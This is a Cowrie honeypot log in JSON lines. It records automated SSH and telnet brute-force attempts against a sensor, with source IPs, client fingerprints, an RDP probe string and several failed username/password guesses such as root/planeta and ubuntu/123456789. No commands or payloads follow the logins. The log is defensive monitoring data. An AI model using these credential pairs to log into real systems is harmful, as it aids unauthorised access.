{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":21742,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b1b34ea672d","protocol":"ssh","message":"New connection: 165.154.227.158:21742 (159.203.135.109:22) [session: 8b1b34ea672d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:25:39.806973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:25:39.812381Z","src_ip":"165.154.227.158","session":"8b1b34ea672d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:25:40.028347Z","src_ip":"165.154.227.158","session":"8b1b34ea672d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zxg","password":"zxg","message":"login attempt [zxg/zxg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:25:40.898756Z","src_ip":"165.154.227.158","session":"8b1b34ea672d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:25:42.111719Z","src_ip":"165.154.227.158","session":"8b1b34ea672d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.17.27","src_port":45478,"dst_ip":"159.203.135.109","dst_port":22,"session":"245eb11fa749","protocol":"ssh","message":"New connection: 43.156.17.27:45478 (159.203.135.109:22) [session: 245eb11fa749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:25:48.322134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:25:48.327339Z","src_ip":"43.156.17.27","session":"245eb11fa749","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:25:48.565785Z","src_ip":"43.156.17.27","session":"245eb11fa749","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:25:49.550803Z","src_ip":"43.156.17.27","session":"245eb11fa749","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:25:50.793256Z","src_ip":"43.156.17.27","session":"245eb11fa749","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":40604,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce0201db5009","protocol":"ssh","message":"New connection: 193.32.162.151:40604 (159.203.135.109:22) [session: ce0201db5009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:26:01.449911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:26:01.455059Z","src_ip":"193.32.162.151","session":"ce0201db5009","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:26:01.559397Z","src_ip":"193.32.162.151","session":"ce0201db5009","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kryan","password":"123","message":"login attempt [kryan/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:26:01.864239Z","src_ip":"193.32.162.151","session":"ce0201db5009","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:26:02.967810Z","src_ip":"193.32.162.151","session":"ce0201db5009","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":54166,"dst_ip":"159.203.135.109","dst_port":22,"session":"6801befddeec","protocol":"ssh","message":"New connection: 152.42.212.128:54166 (159.203.135.109:22) [session: 6801befddeec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:26:09.470344Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:26:09.474642Z","src_ip":"152.42.212.128","session":"6801befddeec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:26:09.478612Z","src_ip":"152.42.212.128","session":"6801befddeec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":45148,"dst_ip":"159.203.135.109","dst_port":22,"session":"8917a0648201","protocol":"ssh","message":"New connection: 80.94.92.186:45148 (159.203.135.109:22) [session: 8917a0648201]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:26:11.637307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:26:11.684379Z","src_ip":"80.94.92.186","session":"8917a0648201","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:26:11.822215Z","src_ip":"80.94.92.186","session":"8917a0648201","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:26:12.382266Z","src_ip":"80.94.92.186","session":"8917a0648201","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:26:13.712871Z","src_ip":"80.94.92.186","session":"8917a0648201","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.90.78","src_port":44570,"dst_ip":"159.203.135.109","dst_port":22,"session":"aedd5701ca76","protocol":"ssh","message":"New connection: 43.173.90.78:44570 (159.203.135.109:22) [session: aedd5701ca76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:26:25.981294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:26:25.986410Z","src_ip":"43.173.90.78","session":"aedd5701ca76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:26:26.055095Z","src_ip":"43.173.90.78","session":"aedd5701ca76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"iman","password":"iman","message":"login attempt [iman/iman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:26:26.364425Z","src_ip":"43.173.90.78","session":"aedd5701ca76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:26:27.437243Z","src_ip":"43.173.90.78","session":"aedd5701ca76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.17.27","src_port":46992,"dst_ip":"159.203.135.109","dst_port":22,"session":"08c023b0949f","protocol":"ssh","message":"New connection: 43.156.17.27:46992 (159.203.135.109:22) [session: 08c023b0949f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:27:02.033247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:27:02.039114Z","src_ip":"43.156.17.27","session":"08c023b0949f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:27:02.272980Z","src_ip":"43.156.17.27","session":"08c023b0949f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"123","message":"login attempt [ftptest/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:27:03.234754Z","src_ip":"43.156.17.27","session":"08c023b0949f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":41144,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4e5a3d90646","protocol":"telnet","message":"New connection: 213.108.3.46:41144 (10.17.0.5:23) [session: f4e5a3d90646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:27:03.509644Z"}
{"eventid":"cowrie.session.closed","duration":0.01755523681640625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:27:03.527108Z","src_ip":"213.108.3.46","session":"f4e5a3d90646","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:27:04.470073Z","src_ip":"43.156.17.27","session":"08c023b0949f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":48108,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b4577230f45","protocol":"ssh","message":"New connection: 165.154.227.158:48108 (159.203.135.109:22) [session: 5b4577230f45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:27:08.095226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:27:08.100665Z","src_ip":"165.154.227.158","session":"5b4577230f45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:27:08.319663Z","src_ip":"165.154.227.158","session":"5b4577230f45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www-data","password":"123","message":"login attempt [www-data/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:27:09.225986Z","src_ip":"165.154.227.158","session":"5b4577230f45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:27:10.449635Z","src_ip":"165.154.227.158","session":"5b4577230f45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":41218,"dst_ip":"10.17.0.5","dst_port":22,"session":"263b082b1551","protocol":"ssh","message":"New connection: 147.45.199.80:41218 (10.17.0.5:22) [session: 263b082b1551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:27:22.219707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:27:22.224488Z","src_ip":"147.45.199.80","session":"263b082b1551","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:27:22.325013Z","src_ip":"147.45.199.80","session":"263b082b1551","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"planeta","message":"login attempt [root/planeta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:27:22.619675Z","src_ip":"147.45.199.80","session":"263b082b1551","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:27:23.719942Z","src_ip":"147.45.199.80","session":"263b082b1551","protocol":"ssh"}
